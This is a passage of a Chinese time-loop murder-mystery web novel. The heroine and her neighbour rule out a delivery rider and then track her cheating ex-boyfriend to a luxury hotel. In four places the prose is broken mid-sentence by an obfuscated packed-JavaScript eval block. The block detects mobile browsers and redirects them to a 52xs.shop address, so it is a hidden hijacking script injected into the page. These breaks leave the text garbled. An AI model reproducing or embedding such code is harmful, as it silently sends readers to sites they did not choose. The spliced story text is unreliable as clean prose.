辛琪想，他或许会慌慌张张的左右看看，看看警察是不是真的来了，然后迅速离开小区；他如果是一个懂得隐藏自己的人，可能会装出一副若无其事的样子，继续完成自己的工作…… 辛琪设想了无数种他可能会出现的反应，但她没想到会是现在这样的。 外卖小哥就站在这栋楼的单元门外，他一只手还提着那份蓝色包装的外卖，另一只手则拿着手机，正在对着手机发送语音消息。 “我告诉你们啊，这个小区有个神经病，千万别接这里的单，接了就要碰上！接了就要碰上！” “来不得，来不得，来了就要把你送去公安局！” “嗖”的一声，他将这条语音发送出去，然后手机往下滑了滑又点了一下，辛琪猜他是进入了第二个群。 他在继续发送语音。 “我告诉你们啊，这个小区有个神经病，千万别接这里的单，接了就要碰上！接了就要碰上！” “来不得，来不得，来了就要把你送去公安局！！” 接下来是第三个群、第四个群、第五个群…… 辛琪粗略的统计了一下，这位外卖员应该在十多个群里告知了这个小区有个神经病的事。 好消息，辛琪觉得他看起来越来越不像凶手了，因为凶手不会站在这儿跟群里吐槽小区有个神经病。 坏消息，辛琪是个神经病的事大概会在今晚传到这个城市所有外卖员的耳中。 辛琪的拳头捏紧了，她看向自己身旁憋笑憋得快厥过去的人。 “不是，你当时就不能找个别的理由？” 秦屿非常努力的没笑出声来：“我觉得这个理由实在太完美了，完美的没有一丝破绽。” 他看了一眼还在往群里发送语音消息的外卖员：“你看，他不就一点都没怀疑吗？” 辛琪：…… 外卖员终于发送完了，他心满意足地退出通讯软件，看到自己手上那份蓝色的包装袋，他终于想起自己还有一单没送了。 他于是急急忙忙地迈步离开了单元门。 辛琪和秦屿连忙跟了上去，他们特意离得外卖员远远的，确保不会被他发现。 外卖员并没有离开小区，而是往朝着小区深处走去，辛琪想，他手上这一单应该也是本小区内的。 只是他在几栋楼前转悠了好久，都没进入任何一栋楼里，只是盯着小区内长得一模一样的楼房露出迷茫的神色。 他解锁手机看了一眼屏幕，似乎是规定的送达时间快要到了，他脸上逐渐流露出焦急的神色。 好在此时有个老人从他身边路过，他连忙逮住老人询问，老人为他指引了一个方向后，他便急急忙忙地跑走了。 辛琪和秦屿一路小跑跟在外卖员后面，看见外卖员进入了一栋位置稍偏的楼房中。 辛琪盯着那楼房看了半晌，然后转身朝自己那栋楼而去。 “走吧，他不是凶手。” 秦屿走在她旁边，看起来一脸茫然：“你……这就看出来了？” 辛琪点头：“你看到他手上那个蓝色包装的外卖了吗？前一次循环我看他手上拿过，所以这不是他第一次送这份外卖了。” “但他依旧不记得路，说明他并没有循环的记忆。” 秦屿挠挠头，脸上的迷茫并没有消去多少：“那万一他是假装的呢？他假装自己找不到路，想要刻意隐藏自己其实有记忆呢？” “假如他真的是凶手，知道这场凶杀案只有我和你两个人，他又不知道我们在跟踪他，有什么必要假装呢？” 对于经常穿梭在各大小区的外卖员来说，知道小区的布局不是什么奇怪的事，就算外卖员想要隐藏自己拥有记忆的事，辛琪也不会觉得他会在这种事情上做伪装。 辛琪更倾向于他是真的没了循环的记忆，记不住正确的路。 “说得也是，”秦屿想了一通后，赞同了辛琪的看法，“他都在各大群里吐槽你是神经病了，真凶手应该不会做这样的事吧！” 说完他还对着辛琪露出个笑容，好像觉得自己的分析很有道理。 “你带了刀吗？”辛琪突然问他。 “你要刀干什么？” 辛琪停下脚步，也对他露出个笑容：“反正还有很多次循环，我现在把你一刀捅死也没关系吧？” 秦屿顶着辛琪的笑容，紧张地咽了口唾沫，下意识地摸向自己的后腰。 该死的，他出门的时候怕外卖员会做出什么过激行为，还真就带了！ * 当然最后辛琪还是没选择捅秦屿一刀。 他们跟踪完外卖员，回到自己那栋楼前时已经快到九点了，离新一轮循环只剩下三个小时。 前一次的循环凶手没出现，他们觉得之后的循环凶手出现的可能性也很小了。 毕竟凶手跟他们不同，他只需隐藏自己，等待循环结束就能走向胜利。 夜晚大概不会再起什么波澜，他们一致同意先各自回屋休息一下。 经历了那么多次循环，每次醒来都是连轴转，两人已经数不清自己有多少个小时没合过眼了。 即便不困，但紧绷的精神还是让两人的身体感觉无比疲劳，更别说辛琪还是个病人。 与秦屿分别后，辛琪一进屋便钻进了卧室，连衣服都懒得脱，就这样直挺挺地趴在床上。 天空已经完全黑了下来，房间里连一丝光也没有，她闭上眼睛想要休息一会，但却无法进入睡眠。 她相信无论是谁经历了这样光怪陆离的事都不可能睡着。 辛琪的生命正在倒计时，他们却还不知道凶手到底是谁，焦虑与恐惧在黑夜里潜藏入她的骨髓，干扰着她的睡眠，使她的心绪始终无法平静。 辛琪只能闭着眼，听着自己的呼吸声，慢慢熬过这又短又漫长的三个小时。 迷迷糊糊中，胸口再次传来剧痛的痛楚，辛琪捂住伤处，感受到黏腻的血液正在从指缝出流出。 午夜十二点快要到了。 无论经历过多少次，胸口的伤处还是让她痛不欲生，让她连呼吸都像是在被凌迟，她现在只期盼时间过得再快一点，新的循环赶紧来临，好让她从这痛苦中解脱。 不知过了多久，辛琪发现自己眼前变得一片模糊，所有触感在一瞬间变成了空白，连痛也消失不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642296|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见。 辛琪明白，十二点已经来临，她又死了一次，又迎来了新的循环。 …… 辛琪从床上睁开了眼，窗外天空明亮，太阳高高挂起。 她脑子里则充斥着从熟睡中被强行拉醒的迷茫。 辛琪睁眼盯着天花板看了几秒，才摸出枕边的手机看了一眼。 16:00。 离晚上十二点还剩八个小时。 她从床上起身，走出卧室，来到了客厅大门前。 辛琪将门推开，恰好对面的秦屿也同一时间推开了大门。 秦屿看到她便开口问：“你晚上听到动静了吗？” 辛琪知道他指得是凶手。 到了晚上23:45时，辛琪特意来到客厅里，趴在门板上仔细听了。 她摇了摇头：“没有。” 秦屿丧着个脸：“我也没有。” 不出他们所料，凶手晚上没再出现了，但这也更佐证了他们的猜想：凶手拥有循环的记忆。 两人相对着沉默了一阵，辛琪又跟前几次一样走到了秦屿的屋子里。 看到辛琪一屁股坐在自己沙发上，秦屿直入主题：“外卖员基本已经排除嫌疑了，你还能想到什么别的人选吗？” 辛琪晚上睡不着时，细细想过了这个问题。 “既然凶手盯上了我，还特意来到我家门杀我，我想他有很大可能跟我有什么交集……或者恩怨。” 辛琪觉得她一开始找错了方向，虽然外卖员来送餐的当天她就被杀了，但她跟外卖员毕竟是陌生人，他会杀她的可能性太小了。 “比起外卖员或者快递员这种跟我素不相识的人，我觉得熟人的可能性更大。” 秦屿想起自己曾经看过的社会新闻，大部分凶杀案的确都是熟人作案。 他问辛琪：“所以你已经有人选了？” 辛琪并不是在这个城市里出生长大的，所以大部分亲戚都在老家。 她在这个城市的熟人除了同事和一些大学同学，就只有…… “我前男友。”她道。 “前男友？你还有前男友？” 辛琪说出这话后，秦屿的语气却骤然激动起来。 她疑惑地看向他：“我都工作几年了，有前男友很奇怪吗？” “也不是啦……”秦屿习惯性地挠挠头。 怎么说呢……他第一次看到辛琪时还以为她跟自己差不多大小，他自己还是母胎单身一个，所以便下意识的以为辛琪也没谈过什么恋爱。 现在听说她还有个前男友，他总觉得心里怪怪的。 怕辛琪看出什么端倪，他连忙转移话题：“你为什么会觉得是他呢？” “你知道我跟他分手的原因是什么吗？” 辛琪深吸了一口气，好像在回想什么不愉快的事。 “他出轨了。” “出轨？”秦屿替辛琪默哀了一会，但又觉得不太对劲，“他出轨了难道不应该是……” 不应该是你上门把他给砍了吗？ 辛琪好像知道秦屿想说什么。 “但我上门暴揍了他一顿，还把他出轨的事公之于众，将他大好前途的工作搞没了。” 9. 第九章 辛琪的前男友是大她一届的学长，他名叫于子豪，长得挺拔帅气，人又多才多艺，算是辛琪大学里的一个风云人物。 辛琪是在一次社团活动中和于子豪认识的，于子豪主动要了她的联系方式，两人出去约会过几次，然后就顺理成章的在一起了。 大学时两人的相处还算甜蜜，这份恋情一直持续了多年，直到于子豪毕业进了一家行业内的顶尖公司。 于子豪平时工作很忙，那时候辛琪也在忙着找实习中，两个人线上聊天的频率大幅减少，连线下也经常一两个月见不到一面。 让辛琪察觉到不对劲的，是在一次聊天中于子豪使用了一个表情包。 那时候她正在跟于子豪抱怨着公司不把实习生当人，于子豪大概是想安慰她，便给她发了一个小猫表情包。 表情包上的小猫脸颊两边被P上了两坨腮红，看起来十分可爱，下面还有配字“亲亲你”。 辛琪脑子里那根敏锐的天线便立即察觉到于子豪有问题了。 于子豪虽然平时爱发表情包，但他从不会用这种可爱的，辛琪觉得这表情包应该来自于某位女士。 在什么情况下一个女人会给男人发“亲亲你”这种表情包？ 答案是在他俩有亲密关系的情况下。 再联想到于子豪这几个月主动找她聊天的频率越来越少，辛琪几乎是百分之百肯定于子豪出轨了。 出轨的对象是谁呢？ 这段时间发生在于子豪身上的变化，就是他毕业进入了一家顶尖公司开始工作。 辛琪猜测，他出轨的对象很有可能是同一家公司的女同事。 但辛琪当下并没有选择质问于子豪，她装作什么事也没有，跟于子豪道了晚安。 到了第二天，她特地跟实习公司请了半天假，悄悄溜到了于子豪的公司楼下。 等到下班时间，于子豪独自一人走出了公司，他站在一楼大门前并没有急着离开，像是在等待着什么。 过了几分钟后，辛琪看到一辆白色的汽车停在了大门前。辛琪不认识那是什么车，但从外观看上去应该是价值不菲。 于子豪走到白色汽车的副驾驶，将车门打开后，对车里的人先露出一个温柔的笑容再坐了进去。 汽车驶上大路时，恰好经过辛琪面前，辛琪缩在角落里没让于子豪发现自己，但辛琪却看清了驾驶座上的司机，那是一个女士。 跟于子豪谈了将近四年的恋爱，说不难过那是不可能的，辛琪确认于子豪真的出轨后，当天晚上就缩在被子里哭了一宿。 但辛琪也清楚明白的知道，光难过是没有用的，她不仅要立即和于子豪划清界限，还必须让他付出代价。 辛琪在厕所里用冰块孵着自己肿得像桃子的眼睛，在脑子细细盘算着要怎么报复于子豪。 她再次跟实习公司请了一天假，来到了于子豪公司楼下。 她站在楼下望了于子豪的公司一眼，然后直接进入了地下停车场里，她想要找到那辆白色的汽车。 这家公司员工数量众多，停车位捉襟见肘，来晚的车只能停在过道里，在车窗放上自己的挪车电话。 辛琪运气很好，她刚一进入地下停车场便见到那辆白色的汽车大喇喇地停在过道里。 她记下了车窗上的挪车电话，然后通过电话加上了那位女士的微信。 两人之间的对话很少，但足够让她们确定于子豪隐瞒了自己有女友的事实在两头欺骗，以及……确定了要对于子豪展开一场报复。 辛琪截下了和于子豪的聊天记录，那位女士也提供了她自己和于子豪的聊天记录，辛琪花了一下午的时间，将这些聊天记录做成了十几页的PPT，然后在第二天上班时，抽了一个空闲，将PPT群发到了那位女士提供的公司全体员工的邮箱里。 做完这一件事后，辛琪开始专心致志的工作，但她工作没多久，便听到自己微信不断的有人发来消息。 辛琪明白是谁发的，她将手机换成了静音，继续完成自己手上的工作。 直到午休时间，她才拿起手机看了一眼，忽略掉于子豪那十几条辱骂自己的信息，她只点开了那位女士给自己发送的内容。 “人已经从我们公司滚蛋了。” 结果和辛琪料想的一样，但辛琪觉得还不够满意。 她去食堂迅速吃完饭，接着打车来到了于子豪的出租屋。 经过楼下小卖部时，她还顺手买了一把最便宜的扫把。 她提着扫把坐上电梯，来到了于子豪的房门前，敲响了于子豪的大门。 这一波对于子豪来说应该打击很大，他开门时，辛琪见他脸色颓唐，一副快要往生了的样子。 但看到站在门外的人是辛琪，于子豪先是慌乱了一阵，接着脸上立马露出了怒不可遏的神情。 他也看了那十几页PPT，他知道这其中还有自己出轨对象的掺和。 出轨的对象是他的上司他惹不起，但他难道还会怕一个小小的辛琪吗？ “你他妈——” 在于子豪即将骂出口时，辛琪已经抄起扫把打在了他身上，于是于子豪嘴里那句没来得及说完整的脏话变成了一声哀嚎。 “我妈怎么了？”辛琪边打边说，“我妈要是知道你干出这种事，只会比我下手更狠！” 辛琪下手又快又狠，于子豪那张白净的脸上很快出现了淤青，他想阻止辛琪，却发现自己根本招架不了她的攻势。 情急之下，他只好大喊救命，想要引来这周围的邻居。 很快有几个邻居开了自己家的大门，探出头来看看是什么情况。 有人见到她暴打于子豪吓得又缩了回去，有人则真的上前来试图阻止辛琪。 “小姑娘，有什么话不能好好说呢？干嘛打人啊？” 辛琪打得也有些累了，暂时停了下来，她一只手还揪着于子豪的衣服，以免他趁机逃跑。 “哦，这是我的男……前男友，他出轨了。”她喘着气解释道。 来劝架的人顿了一下，但还是选择继续劝说辛琪：“这……这也不算什么大事嘛，你们可以静下心来好好谈谈啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642297|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “男子汉本来就花心，你多劝劝就好了。” “多劝劝？”辛琪冷冷地看着那位出来劝架的邻居，“对于那些伤害我的人，我只需要做一件事，那就是加倍的报复回去。” “你现在帮着劝架，阻止我报复他，我可以理解为你是想当他的帮凶吗？” 辛琪挥舞了一下快被自己打到散架的扫把：“我力气很大的，不介意再多解决一个。” “你……你这是想干什么？”来劝架的邻居显然被辛琪这番话吓到了，有些气虚的对辛琪喊着，“难道你还想打人啊？信不信我报警？” “你报，”辛琪逼视着来人，“大不了我去见法官，然后送你们俩个去见法医嘛。” 她在说这话时，脸上还笑了一下。 邻居不由地打了一个寒战，嘴唇嗫嚅着还想说什么，但最终只嘀嘀咕咕了一句：“懒得管你们年轻人的事，我，我要去买菜了！” 说完，那邻居连电梯都不坐，从楼梯“蹬蹬噔”的迅速下楼。 看到自己唯一的救命恩人也落荒而逃，被辛琪拽着的于子豪脸上露出了堪称绝望的表情。 “琪琪，我错了，我真的错了，我不是故意对不起你的，是她主动勾引我的！她是我的上司，我没办法拒绝她啊——” 他最后这声嚎叫是辛琪听不下去的对着他又来了一下。 “做错事了还不敢承认，你这人真是烂透了。” “我说的是真的，你相信我啊！琪琪！啊！啊！救命啊——” 辛琪懒得听他辩解了，只照着他往死里打，当然辛琪只是想给他个教训，并不是真想把人给打死，眼看自己下午上班时间快到了，她终于停了下来。 将扫把往地上一扔，她看着蹲在地上抱着头的于子豪，还伸手拍了拍他：“虽然我们分手了，但我希望你以后的每个夜晚都能梦到我，这样我就能时时刻刻扰得你不得安宁了。” 她说出这如同恶魔低语一般的话，吓得于子豪全身又是一抖。 但辛琪已经没空管于子豪是什么心情，离下午上班时间就剩了十几分钟，她还得赶着回去写方案呢。 秦屿听完她的描述，先陪着她痛骂了于子豪一番，然后道：“所以你觉得你那位前男友是想要报复你，所以才上门杀了你？” “其实我原本没有怀疑到他身上，”辛琪道，“他就是个典型的欺软怕硬的人，在我暴打他一顿后，他也没敢上门找我。” 这件事发生在辛琪还没毕业的时候，现在她都工作三年了，早就淡忘了于子豪这个人。 “但是就在几个月前，我收到了他的信息。” 秦屿好奇道：“什么信息？” 辛琪露出了一副一言难尽的表情：“他……想要跟我复合的信息。” “……啊？” 人不能，至少不应该这么无耻吧？ 辛琪当时收到时，也觉得非常的匪夷所思。 她思来想去，觉得于子豪来找她复合的原因只有一个。 “不懂就问，你是M吗？” 她这样回复于子豪。 10. 第十章 辛琪将那句嘲讽意味拉满的话发出去后，于子豪并没有理会它，而是继续跟辛琪倾诉着自己的“衷肠”。 什么“历尽千帆过，我发现内心深处最忘不了的那个人还是你”、‘你曾经让我每个夜晚都梦到你，我真的做到了，我在每个午夜梦回中呼唤的都是你的名字’、“之前那些彼此伤害的事，就当它过去了，我们重新开始好不好”…… 看得辛琪身上一阵一阵地起鸡皮疙瘩。 她很好奇于子豪这些年都经历了什么，大学时跟他谈恋爱他也不这样啊，现在却像是什么土味情话成精了似的。 辛琪不想把精力放到于子豪身上，便直接将他的微信拉黑了事。 但辛琪没想到的是，过了一个星期后，于子豪居然还买了一大捧玫瑰花，让外卖员送到她家门口。 “你不是刚刚毕业就跟他分手了吗？”秦屿诧异道，“他从哪儿知道你的地址的？” 说到这个辛琪也有些郁闷：“我们是同一个大学的，身边有很多共友。” 后来她经过多方调查才知道，是于子豪问了她曾经大学社团的人，而大学社团的人又问了她的一个大学同学。 那个大学同学跟她关系不错，现在这个出租屋就是她介绍给辛琪的。 “我之前没多想，觉得他这样费尽心机地想要跟我复合就是单纯的无耻，”辛琪对秦屿说，“现在想想，他会不会早就有什么计划？” “计划？什么计划？”秦屿不懂。 辛琪拖着下巴沉思：“比如跟我复合了以后，再伺机骗财骗色什么的。” 她不认为一个被自己暴打过的前任，会真的来找自己复合。 “现在见到复合无望，自己的计划无法实施，他就干脆把我给杀了？” 秦屿不太赞同：“你只是暴打他一顿，害他被公司开除了而已，他没必要直接杀了你吧？” “再说了，先犯错的人本来就是他。” “你的话很有道理，”辛琪抬眼看着秦屿，“我也觉得我安安稳稳的生活在这里，并没有得罪过什么人，但却还是被人杀了。” 秦屿不觉得于子豪有什么理由要杀她，辛琪同样也不明白那个凶手为什么盯上了自己。 在毫无头绪的情况下，她只能在茫茫人海中筛选出所有可能，再一个一个的排查而已。 “你说的对，”沉默片刻后，秦屿还是赞同了辛琪的想法，“我们现在不能放过一丝可能。” 但要怎么确认于子豪到底是不是凶手呢，辛琪觉得还得用之前的方法，看他有没有时间循环的记忆。 想要确认这一点，她必须先跟他联系上。 辛琪解锁了手机，点开微信，将于子豪从自己的黑名单里放了出来。 她在思考该给于子豪发什么信息过去，太强硬了可能会把人逼退，太暧昧了……她又觉得自己受不了。 想了一会儿，她快速编辑了几个字发给了于子豪。 【你最近怎么样了？】 这看起来是一句很平常的问候，但要是发送的对象是前任，总会引起他无限的遐思。 于子豪回复的很快，不过才几秒，辛琪就看到他发来了好几条信息。 【琪琪！！】 【真的是你吗？】 【我的天，我以为我要永远待在你的黑名单里了】 秦屿看见那微信消息，嘴角忍不住一撇。 “琪琪~”他阴阳怪气的跟着喊了一声，“出轨的人明明是他，还有脸这样叫你呢。” 辛琪并没有搭腔，因为于子豪还在给她发送信息。 【我最近过得好也不好，好的是你终于肯跟我联系了，不好的是你没有在我身边】 【我一直很想你】 【没有你在身边，我都瘦了很多】 “叮”一声，他给辛琪发送了一张自己在餐厅里的侧脸自拍照，好像想要论证自己真的瘦了。 但照片上那用力凹出的下颌角，那不经意间微蹙起的眉头，那藏在衣服里若隐若现的腹肌……无一处不昭示着这个男人发送这张照片的真实目的。 辛琪联想到了动物园里那种急着开屏的雄孔雀，她感觉自己又起了一身的鸡皮疙瘩。 秦屿凑过去看了一眼，忍不住翻了一个白眼：“这肌肉喝蛋白粉喝的吧，都是死肌肉，有什么好秀的。” 【你呢，过得好不好？】于子豪问她。 【我挺好的，你最近在忙什么呢？】 【忙着想你，除此之外也没有别的事值得我忙的了】 …… 辛琪深吸了一口气，告诉自己于子豪很有可能是凶手，这一切很有可能是他的伪装，她不能被他骗了，她必须要跟他虚与委蛇下去，搞清楚他到底是不是上门杀自己的那个人。 她在心里如此告诫自己，然后给于子豪发送了一条信息。 【今天有空出来见一面吗？我们一起吃个晚餐？】 发完这条消息后，她紧盯着对话框，等着于子豪接下来的回复。 如果于子豪同意了，自己说不定就能试探出他到底是不是凶手。 如果于子豪不同意…… 辛琪刚想到这里，便看到了于子豪的回复。 【不好意思啊，琪琪，我今天有点事，不能出来陪你了，改天再约可以吗？】 辛琪眼睛微眯，觉得这人有点不对劲。 刚刚还跟孔雀开屏似的，巴不得跟辛琪原地复合，但现在辛琪约他出来，他却拒绝了？ 难道他不应该立马答应，顺便订好晚上的酒店才对吗？ 辛琪想了想，又发出了一条消息给他。 【真的没空吗？今天晚上我不打算回家了】 这回对面隔了许久才回复，仿佛在内心挣扎着什么。 【对不起，琪琪，我今天真的有事，等会得去隔壁市里一趟，你看下周六行不行？】 【那就以后再说吧】 辛琪回复完这一句，对面便没了动静，她退出了微信，陷入了沉思之中。 “我都这样说了，你觉得他为什么还是不想见我？”她问秦屿。 “要么是他真的有事，要么就是他……心里有鬼！”秦屿道，“我更倾向于后者。” 秦屿换位思考了下，要是他喜欢的女生主动约他见面，他手头上无论有什么事都会立马推了赴约的。 辛琪点了点头：“我也觉得。” 于子豪是凶手的可能性，在辛琪心中顿时增大了许多。 但现在有个新的问题摆在两人眼前。 “他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642298|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在不肯见你，那我们要怎么确认他到底是不是凶手？” “他不来见我……”辛琪看了秦屿一眼，“那我们就去找他。” 辛琪觉得这才是他们当下面临的最大困境。 她跟于子豪已经三年没见过面了，她不知道他现在做什么工作，住在哪儿，还在不在这个城市。 避免打草惊蛇，她不能当面问于子豪这些信息，只能在暗地里偷偷调查。 她先打开了于子豪的朋友圈。 很多人都会在这里透露自己的一些私人信息。 于子豪的朋友圈设置了三天可见，她只看到了他的一张自拍。 自拍是于子豪惯用的侧脸角度，他身着浴袍，站在浴室的镜子前对镜自拍，背景能隐约看到浴室里有个大浴缸，辛琪想这应该是在一家酒店里拍的。 她将那张照片放大盯着看了许久。 过了片刻，秦屿问她：“看出什么了吗？” 辛琪轻吐一口气，揉了揉看得发疼的眼睛：“没什么有用的，这照片上信息太少了。” 这也许就是于子豪哪一次住酒店的时候，心血来潮的自拍。 她退出于子豪的朋友圈，思考了一阵，开始翻起了自己的朋友圈列表。 秦屿见状有些疑惑：“你这是要干什么？” “问人，”辛琪头也不抬地说，“我刚刚说过，我跟于子豪是同一个大学的，身边有很多共友。” 于子豪用过的方法，她也可以用。 她点开了一个曾经跟于子豪同专业的学姐的对话框。 【学姐，你跟于子豪还有联系吗？】 学姐很快回复。 【上次同学聚会时见过，怎么了吗？】 【你知道他现在的地址在哪儿吗？】 【这个我不是很清楚了】 学姐发完这条信息后又再次给她发送了一条新的。 【学妹，你不会还想跟他旧情复燃吧？他那种人……不值得】 当初她跟于子豪分手那事虽不至于闹得人尽皆知，但他们身边的一些朋友还是知道一二的。 辛琪面无表情地回复了学姐。 【没有，我就是突然想起他之前还欠了我几千块没还，打算找他要回来】 【什么？？！！】 学姐看起来很是愤怒。 【什么人渣啊这是，出轨就算了，居然还欠钱不还？】 【可惜我不知道他住在哪儿，要不然一定跟你一起上门讨债！】 【不好意思，帮不到你了学妹】 【没关系，那你知道他在哪里工作吗？】 学姐这次隔了好几分钟才回辛琪。 【我突然想起来了，那个人渣好像在饭桌上吹嘘过自己现在在一家五星级酒店里工作】 酒店？ 辛琪突然想起了什么，退出与学姐的对话框，点进了于子豪的朋友圈。 她点开他那张唯一的对镜自拍，将它放大又放大，然后示意秦屿来看。 辛琪指着照片一处角落：“你看，就是这个。” 照片上的镜子旁有一排毛巾架，毛巾架上胡乱地放了一条湿漉漉的毛巾。 镜子里刚好照出毛巾尾端上的刺绣，上面写着五个字：维也纳酒店。 11. 第十一章 退出于子豪的朋友圈，辛琪又翻出她和于子豪的聊天记录，点开那张于子豪给她发的侧脸自拍。 这张照片背景看上去是一个餐厅，于子豪坐在一扇落地窗前，他身前的桌子摆满了各类美味的西餐。 辛琪把那张照片放大，果然看到餐具也印上了“维也纳酒店”的字样。 “一次出现是巧合，两次出现那必然就是事出有因，”辛琪盯着照片上的“维也纳酒店”开口，“我想于子豪现在就在这家酒店工作。” 这个维也纳酒店辛琪也听说过，好像才开业不到十年，却在这个城市里迅速崛起，成为了这个城市的地标之一。 “不过我觉得很奇怪的是，于子豪大学的专业跟酒店八竿子打不着，之前的公司也不是酒店相关的，他为什么会在这里工作？” 秦屿挠挠头，没吭声。 连辛琪都不明白，那他更不可能知道问题的答案，两人只能去酒店里看看到底是什么情况。 辛琪拜托了学姐不要将此事透露给于子豪后，跟秦屿出了小区，打了一辆车直奔维也纳酒店。 辛琪和秦屿位于城市的南边，维也纳酒店却在东边，虽说直线距离不算太远，但现在时间已经接近城市的晚高峰，两人花了将近一个小时的时间才到达维也纳酒店。 维也纳酒店不愧是新晋的城市地标，外表看起来宏伟又不失精巧，大门外的喷泉下停满了辛琪只在电视上看过的豪车，辛琪晃眼瞥了一下，就和秦屿一起赶紧进入了酒店大堂。 ——她感觉自己再看下去就要仇富了。 今天虽是周五，但由于这酒店高昂的费用，前台里只有稀稀拉拉的几个人在登记。 辛琪和秦屿排在最后，等着所有人都登记完了，大厅里只剩下他们和工作人员时，辛琪才上前问道：“请问一下，你认识于子豪这个人吗？他是不是在你们这里工作？” 在辛琪说出“于子豪”这三个字时，她敏锐地发现周围的工作人员都将视线调转到他们这边来了。 前台的工作人员愣了一下，然后摇摇头：“不好意思啊女士，我们酒店工作人员很多，我不太清楚呢。” 不太清楚？ 辛琪不动声色地打量了一下这位工作人员，她在回答问题时眼神飘忽，很明显的在告诉辛琪“我在撒谎”。 辛琪心中的疑惑又加深了一层。 于子豪应该就是在这里工作没错，但为什么这里的人反应都那么奇怪的呢？ 好像他是什么不能提到的禁忌似的。 辛琪还在沉思中，那位前台的工作人员已面带微笑地换了一个话题：“两位是来办理入住的吗？” 秦屿看了辛琪一眼，在征求她的意见。 辛琪想了想，点了点头。 既然于子豪都在这里了，那他们肯定也要留下来。 见到辛琪点头，工作人员眼神在他们两人之间迅速滑了一眼，又问：“请问需要几间房呢？” “几间房……”秦屿整个人因为这个问题突然变得别扭起来，“两……两间吧。” “你有病啊？”辛琪给了他一个莫名其妙的眼神，“这里的房费那么贵，开一间就够了啊！” 反正他们又不是真的来这里睡觉的。 “啊……好，那……那就一间吧。”秦屿现在更是连话都说不明白了。 看得出来这里的工作人员平时训练有素，工作素养极其良好，看到秦屿这副模样，还是带着热情的微笑对他伸出了双手。 “请出示一下两位的身份证。” 秦屿忙去翻自己的衣兜找身份证，但他刚刚把身份证拿出来，便感觉辛琪拍了一下自己的肩膀。 “怎么了？”他问。 辛琪用下巴指了指酒店的某个方向：“你看那边。” 现在时间已经接近傍晚六点了，正是用晚餐的时候，在辛琪的指引下，秦屿看到酒店的工作人员搬了一块牌子放在了酒店大堂一侧。 上面写着“日落餐厅请往这边走”。 “怎么了？”秦屿不解，“你饿了？” 工作人员极其有眼色的在旁边开口：“我们的房间会赠送两位免费的晚餐。” 辛琪只问她：“你的酒店的餐厅只有这一个吗？” “我们一共有三个餐厅，”工作人员道，“位于一楼的是西餐，还有一个自助餐厅位于二楼，以及一个露天花园餐厅位于顶楼。” 辛琪点点头，又凑在秦屿耳边悄声开口：“于子豪给我发的那张自拍就是在西餐厅里的，你说，他会不会就在那里面？” “你这样一说……很有可能啊！” “先别订房间了，”辛琪道，“我们去那个什么日落餐厅找找看。” 两人一拍即合，跟前台的工作人员说了声抱歉，然后顺着指示牌来到了那间日落餐厅。 日落餐厅就在大厅拐角处，两人来到餐厅大门前正要进入餐厅中，却被门口的工作人员拦了下来。 工作人员微笑着开口：“不好意思，请出示一下您的餐券。” “餐券？”秦屿挠挠头。 “您是不是忘带了？只要您订了房，我们在给您房卡时，都会把餐券附在房卡中。” 辛琪听懂了他的暗示，要订房才能进入餐厅。 “我们就来找个人马上就走，不能让我们进去看看吗？”秦屿道。 工作人员十分有礼貌地拒绝了他：“不好意思，这是我们酒店的规定呢。” 这间西餐厅的墙面是由玻璃砌成的，趁着秦屿和工作人员周旋时，辛琪已经站在大门前朝着里面望了一圈。 很快地，她就在餐厅靠窗的位置看见了自己的目标。 于子豪正侧对她坐着，他应该是精心挑选了衣服，整个人看起来帅气而儒雅。 三年不见了，他外表居然没什么变化，甚至身材比学生时代还要好。 他偶尔叉起一块牛排放入口中小口嚼着，但大多数时候，他都笑意盈盈的对着自己面前的人说话。 辛琪将视线挪到了他的对面。 那里坐着一个衣着考究，满身名牌的女士。 她不由地挑了挑眉头。 一个小时之前还在和自己说着土味情话，转头又在跟别的女人吃饭。 这人的无耻程度真是超乎她的想象。 难怪他不愿意见自己呢，原来是早就有约了。 他是凶手的嫌疑在辛琪这里顿时下降了许多。 但这也不能排除他为了摆脱自己的嫌疑，故意约了人吃饭，她必须要当面确认清楚。 “我们不用进去，”辛琪阻止了还在跟工作人员求情的秦屿，“我有办法让于子豪自己乖乖出来。” 说完，她翻出于子豪的微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 